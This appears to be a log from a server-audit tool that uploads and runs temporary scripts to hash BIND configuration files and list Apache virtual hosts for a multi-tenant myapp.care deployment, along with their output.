PUT: /tmp/pkp789103

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 12:00:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp789103; rm /tmp/pkp789103'

2026-03-14 12:00:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 12:00:59: Establishing a connection
2026-03-14 12:00:59: 

PUT: /tmp/pkp662777

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-14 12:00:59: 

chmod 755 /tmp/pkp662777; /tmp/pkp662777; rm /tmp/pkp662777

2026-03-14 12:01:00: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
